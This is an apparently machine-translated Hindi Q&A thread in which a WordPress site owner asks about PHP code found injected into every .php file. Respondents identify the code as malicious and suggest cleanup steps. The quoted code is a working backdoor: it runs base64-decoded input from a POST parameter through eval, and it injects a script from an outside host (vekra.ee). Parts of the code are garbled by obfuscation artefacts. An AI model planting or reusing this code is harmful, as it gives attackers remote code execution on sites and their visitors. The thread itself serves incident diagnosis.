2011-09-14 13 views
5

क्या कोई यह सलाह दे सकता है कि यह PHP कोड क्या करेगा? मेरे पास php केवल प्रत्येक .php पृष्ठों पर पाया गया है, अन्य पेज जैसे जेएस/सीएसएस/php.ini वे ठीक हैं .. क्या यह दुर्भावनापूर्ण कोड है? यदि हां कृपया सुझाव दें कि उन्हें कैसे रोकें?यह PHP स्क्रिप्ट क्या करेगा? क्या यह दुर्भावनापूर्ण PHP कोड है?

यहाँ कोड है,

global $sessdt_o; 
if(!$sessdt_o) { 
    $sessdt_o = 1; 
    $sessdt_k = "lb11"; 
    if([email protected]$_COOKIE[$sessdt_k]) { 
     $sessdt_f = "102"; 
     if([email protected]_sent()) { 
      @setcookie($sessdt_k,$sessdt_f); 
     } else { 
      echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
     } 
    } else { 
     if($_COOKIE[$sessdt_k]=="102") { 
      $sessdt_f = (rand(1000,9000)+1); 
      if([email protected]_sent()) { 
       @setcookie($sessdt_k,$sessdt_f); 
      } else { 
       echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
      } 
      $sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; 
      $sessdt_v = urlencode(strrev($sessdt_j)); 
      $sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
      echo "<script src='$sessdt_u'></script>"; 
      echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
     } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
     eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
     exit; 
    } 
} 
+0

आपको यह कोड कैसे मिला? आपकी PHP फ़ाइलों को आपके ज्ञान के बिना संशोधित किया गया था? – Ali

+0

हाय अली, मैं सिर्फ फाइलज़िला एफ़टीपी खोलता हूं, फिर पाया कि प्रत्येक PHP पृष्ठ को अंतिम बार 14-सितंबर -2011 4:01:14 पूर्वाह्न (भारतीय समय) में संशोधित किया गया है, फिर मैं फ़ाइल खोलता हूं और यह कोड पाता हूं। यह वास्तव में अजीब है। – DBTutor

+0

मेरी साइट को यह फ़ाइल भी मिली ... – Pinch

उत्तर

1

यह अधिक संभावना यह वेबसाइट हमलावर को अपने हर पृष्ठ पर रीडायरेक्ट करेगा है। @ कोई त्रुटि रोक देगा ताकि आपको इस स्क्रिप्ट से कोई भी लॉग प्राप्त न हो।

यदि आप अपनी साइट को ठीक से काम करना चाहते हैं तो आपको इसे हटा देना चाहिए।

संपादित करें: यह रीडायरेक्ट नहीं करता है लेकिन यह आपके पृष्ठों पर जो कुछ भी चाहता है उसे इंजेक्ट करेगा। स्क्रिप्ट का दूसरा भाग जहां यह कुकीज़ के लिए जांचता है, उसकी वेबसाइट से जावास्क्रिप्ट जोड़ देगा और दुर्भावनापूर्ण चीजें कर सकता है।

अंतिम भाग मुझे नहीं लगता कि कोई भी यह अनुमान लगाने में सक्षम होगा क्योंकि यह कुछ पोस्ट चर पर निर्भर करता है और यह $_POST['showimg'] है, मुझे लगता है कि उसने पोस्ट के साथ अपनी वेबसाइट पर हमला किया था।

करने के लिए चीजें: अपने पासवर्ड बदलें, अपनी फाइलों पर लेखन अनुमतियों की जांच करें, उन्हें 0777, बैकअप डेटाबेस और वर्डप्रेस टेम्पलेट नहीं होना चाहिए, वर्डप्रेस इंस्टॉल को हटाएं और स्क्रैच से पुनः इंस्टॉल करें। अपने टेम्पलेट में अपने कोड के लिए खोज में अपना साफ टेम्पलेट जोड़ें।

+0

उत्तर के लिए धन्यवाद मिहाई। मेरी साइट ओएस वर्डप्रेस 3.2.1 आधारित है जो नवीनतम WP संस्करण है। मेरी साइट के लगभग हर PHP पृष्ठ प्रभावित हैं। यहां तक ​​कि wp-admin + wp- पृष्ठों को शामिल करता है। मैं वास्तव में इसके बारे में डरता हूं, कृपया सुझाव दें कि मुझे अब क्या करना है .. धन्यवाद – DBTutor

+0

महाई के लिए धन्यवाद, मेरे पास मेरे सर्वर के लिए php.ini पहुंच है और php.ini अक्षम फ़ंक्शन कार्यक्षमता का उपयोग करके कुछ php लाइब्रेरी फ़ंक्शन को निष्क्रिय करने का निर्णय लिया गया है, वे [eval | हैं फॉपेन | फ्लेक्स | fputs | base64_decode | is_writable | opendir] आदि .. कृपया सुझाव है कि यह अच्छा है। – DBTutor

1

मैं इसे बारीकी से जांच नहीं की है, लेकिन केवल लाइन

eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 

मुझे पहले से ही पता चलता है कि, अगर दुर्भावनापूर्ण नहीं है, तो बहुत बहुत करीब - वहाँ कोड संभव इंजेक्शन है।

0

आपकी समस्या कोड नहीं है, यह पहले स्थान पर है। यह सुनिश्चित करने के लिए कि बाहरी से कोई भी उन्हें संशोधित नहीं कर सकता है, आपको अपनी फ़ाइलों/फ़ोल्डर्स पर लिखने की अनुमतियों की जांच करनी होगी।

आपने उल्लेख किया है कि आप वर्डप्रेस का उपयोग कर रहे हैं, कृपया कठोर वर्डप्रेस सुरक्षा के बारे में this article पढ़ें। मेरा सुझाव है कि जब तक आप अपने सुरक्षा मुद्दों को ठीक न करें तब तक आप अपने ब्लॉग को लॉक कर दें (यदि यह संभव है)।

0

एक सुरक्षा विश्लेषक हूं और मेरा मानना ​​है कि यह आपको एक संभावित दुर्भावनापूर्ण वेबसाइट पर रीडायरेक्ट कर रहा है यदि केवल और यदि आपके पास वह कुकी नहीं है। यदि आपके पास पहले से ही वह कुकी है तो स्क्रिप्ट को पता चलेगा कि आप पहले से ही वहां रहे हैं और संभावित रूप से मैलवेयर का शोध कर रहे हैं जिससे रीडायरेक्ट निष्पादित नहीं किया जा सके। छवि डिटेगर डीबगर प्रीसेट एपीआई की तरह हो सकती है .. यह सिर्फ मेरी राय है।

संबंधित मुद्दे